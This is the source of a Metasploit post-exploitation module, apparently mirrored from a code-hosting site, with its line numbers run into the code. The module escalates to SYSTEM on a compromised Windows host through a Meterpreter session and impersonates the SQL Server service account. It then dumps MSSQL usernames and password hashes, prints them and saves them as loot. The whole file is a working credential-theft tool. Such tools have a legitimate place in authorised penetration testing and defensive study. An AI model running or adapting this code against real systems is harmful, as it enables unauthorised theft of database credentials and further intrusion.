Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/mssql_local_hashdump.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Local SQL Server Hash Dump',14'Description' => %q{15This module extracts the usernames and password16hashes from an MSSQL server and stores them as loot. It uses the17same technique in mssql_local_auth_bypass.18},19'License' => MSF_LICENSE,20'Author' => [21'Mike Manzotti <mike.manzotti[at]dionach.com>',22'nullbind' # Original technique23],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'References' => [27['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']28],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32stdapi_sys_config_rev2self33]34}35}36)37)3839register_options(40[41OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])42]43)44end4546def run47# Set instance name (if specified)48instance = datastore['INSTANCE'].to_s4950# Display target51print_status("Running module against #{sysinfo['Computer']}")5253# Identify available native SQL client54get_sql_client55fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client5657# Get LocalSystem privileges58system_status = get_system59fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status6061begin62service = check_for_sqlserver(instance)63fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service6465print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")66instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip6768begin69get_sql_hash(instance_name)70rescue RuntimeError71# Attempt to impersonate sql server service account (for sql server 2012)72if impersonate_sql_user(service)73get_sql_hash(instance_name)74end75end76ensure77# return to original priv context78session.sys.config.revert_to_self79end80end8182def get_sql_version(instance_name)83vprint_status('Attempting to get version...')8485query = mssql_sql_info8687get_version_result = run_sql(query, instance_name)8889# Parse Data90get_version_array = get_version_result.split("\n")91version_year = get_version_array.first.strip.slice(/\d\d\d\d/)92if version_year93vprint_status("MSSQL version found: #{version_year}")94return version_year95else96vprint_error('MSSQL version not found')97end98end99100def get_sql_hash(instance_name)101version_year = get_sql_version(instance_name)102103case version_year104when '2000'105hash_type = 'mssql'106query = mssql_2k_password_hashes107when '2005', '2008'108hash_type = 'mssql05'109query = mssql_2k5_password_hashes110when '2012', '2014'111hash_type = 'mssql12'112query = mssql_2k5_password_hashes113else114fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')115end116117print_status('Attempting to get password hashes...')118119res = run_sql(query, instance_name)120121if res.include?('0x')122# Parse Data123if hash_type == 'mssql12'124res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|125pair.hex.chr126end127end128hash_array = res.split("\r\n").grep(/0x/)129130store_hashes(hash_array, hash_type)131else132fail_with(Failure::Unknown, 'Unable to retrieve hashes')133end134end135136def store_hashes(hash_array, hash_type)137# Save data138loot_hashes = ''139hash_array.each do |row|140user, hash = row.strip.split141142service_data = {143address: rhost,144port: rport,145service_name: 'mssql',146protocol: 'tcp',147workspace_id: myworkspace_id148}149150# Initialize Metasploit::Credential::Core object151credential_data = {152post_reference_name: refname,153origin_type: :session,154private_type: :nonreplayable_hash,155private_data: hash,156username: user,157session_id: session_db_id,158jtr_format: hash_type,159workspace_id: myworkspace_id160}161162credential_data.merge!(service_data)163164# Create the Metasploit::Credential::Core object165credential_core = create_credential(credential_data)166167# Assemble the options hash for creating the Metasploit::Credential::Login object168login_data = {169core: credential_core,170status: Metasploit::Model::Login::Status::UNTRIED171}172173# Merge in the service data and create our Login174login_data.merge!(service_data)175create_credential_login(login_data)176177print_line("#{user}:#{hash}")178179loot_hashes << "#{user}:#{hash}\n"180end181182if loot_hashes.empty?183return false184else185# Store MSSQL password hash as loot186loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')187print_good("MSSQL password hash saved in: #{loot_path}")188return true189end190end191end192193194